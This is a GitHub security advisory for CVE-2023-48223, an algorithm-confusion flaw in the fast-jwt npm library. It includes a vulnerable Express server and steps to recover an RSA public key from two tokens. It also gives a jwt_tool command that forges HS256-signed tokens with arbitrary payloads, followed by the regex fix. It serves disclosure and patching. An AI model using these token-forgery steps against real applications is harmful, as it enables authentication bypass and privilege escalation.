GHSA-C2FF-88X2-X9PG
Vulnerability from github – Published: 2023-11-20 20:58 – Updated: 2023-11-20 20:58Summary
The fast-jwt library does not properly prevent JWT algorithm confusion for all public key types.
Details
The 'publicKeyPemMatcher' in 'fast-jwt/src/crypto.js' does not properly match all common PEM formats for public keys. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work if the victim application utilizes a public key containing the BEGIN RSA PUBLIC KEY header.
PoC
Take a server running the following code:
const express = require('express');
const { createSigner, createVerifier } = require('fast-jwt')
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
// Load the keys from the file
const publicKeyPath = path.join(__dirname, 'public_key.pem');
const publicKey = fs.readFileSync(publicKeyPath, 'utf8');
const privateKeyPath = path.join(__dirname, 'key');
const privateKey = fs.readFileSync(privateKeyPath, 'utf8');
app.use(express.json());
// Endpoint to generate a JWT token with admin: False
app.get('/generateToken', async (req, res) => {
const payload = { admin: false, name: req.query.name };
const signSync = createSigner({ algorithm: 'RS256', key: privateKey });
const token = signSync(payload);
res.json({ token });
});
// Middleware to verify the JWT token
function verifyToken(req, res, next) {
const token = req.query.token;
const verifySync = createVerifier({ key: publicKey });
const payload = verifySync(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are the admin or not
app.get('/checkAdmin', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Assume the server generated their keys like follows:
ssh-keygen -t rsa -b 2048 -m PEM
ssh-keygen -f key.pub -e -m PEM > public_key.pem
Public key recovery
First, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below.
Grab two different JWT tokens and utilize the following tool: https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py
python3 jwt_forgery.py token1 token2
The tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats.
Algorithm confusion
Change the JWT to the HS256 algorithm and modify any of the contents to your liking at https://jwt.io/.
Copy the resulting JWT token and use with the following tool: https://github.com/ticarpi/jwt_tool
python /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token
You will now get a resulting JWT token that is validly signed.
Impact
Applications using the RS256 algorithm, a public key with a BEGIN RSA PUBLIC KEY header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
to be regex:
const publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-48223"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-20T20:58:56Z",
"nvd_published_at": "2023-11-20T18:15:07Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe fast-jwt library does not properly prevent JWT algorithm confusion for all public key types.\n\n### Details\nThe \u0027publicKeyPemMatcher\u0027 in \u0027fast-jwt/src/crypto.js\u0027 does not properly match all common PEM formats for public keys. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work if the victim application utilizes a public key containing the `BEGIN RSA PUBLIC KEY` header.\n\n### PoC\nTake a server running the following code:\n```javascript\nconst express = require(\u0027express\u0027);\nconst { createSigner, createVerifier } = require(\u0027fast-jwt\u0027)\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\nconst app = express();\nconst port = 3000;\n\n// Load the keys from the file\nconst publicKeyPath = path.join(__dirname, \u0027public_key.pem\u0027);\nconst publicKey = fs.readFileSync(publicKeyPath, \u0027utf8\u0027);\nconst privateKeyPath = path.join(__dirname, \u0027key\u0027);\nconst privateKey = fs.readFileSync(privateKeyPath, \u0027utf8\u0027);\n\napp.use(express.json());\n\n// Endpoint to generate a JWT token with admin: False\napp.get(\u0027/generateToken\u0027, async (req, res) =\u003e {\n const payload = { admin: false, name: req.query.name };\n\n const signSync = createSigner({ algorithm: \u0027RS256\u0027, key: privateKey });\n const token = signSync(payload);\n \n res.json({ token });\n});\n\n// Middleware to verify the JWT token\nfunction verifyToken(req, res, next) {\n const token = req.query.token;\n\n const verifySync = createVerifier({ key: publicKey });\n const payload = verifySync(token);\n\n req.decoded = payload;\n next();\n}\n\n// Endpoint to check if you are the admin or not\napp.get(\u0027/checkAdmin\u0027, verifyToken, (req, res) =\u003e {\n res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n console.log(`Server is running on port ${port}`);\n});\n```\n\nAssume the server generated their keys like follows:\n```\nssh-keygen -t rsa -b 2048 -m PEM\nssh-keygen -f key.pub -e -m PEM \u003e public_key.pem\n```\n\n**Public key recovery**\nFirst, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below.\nGrab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py`\n```\npython3 jwt_forgery.py token1 token2\n```\nThe tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats.\n\n**Algorithm confusion**\nChange the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`.\nCopy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`\n```\npython /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token\n```\nYou will now get a resulting JWT token that is validly signed.\n\n### Impact\nApplications using the RS256 algorithm, a public key with a `BEGIN RSA PUBLIC KEY` header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n### Solution\n\nChange https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29\n\n```javascript\nconst publicKeyPemMatcher = \u0027-----BEGIN PUBLIC KEY-----\u0027\n```\n\nto be regex: \n\n```javascript\nconst publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/\n```",
"id": "GHSA-c2ff-88x2-x9pg",
"modified": "2023-11-20T20:58:56Z",
"published": "2023-11-20T20:58:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-c2ff-88x2-x9pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48223"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/commit/15a6e92c9adb39acde41a9b11cec0cbde8ad763b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/releases/tag/v3.3.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "JWT Algorithm Confusion"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.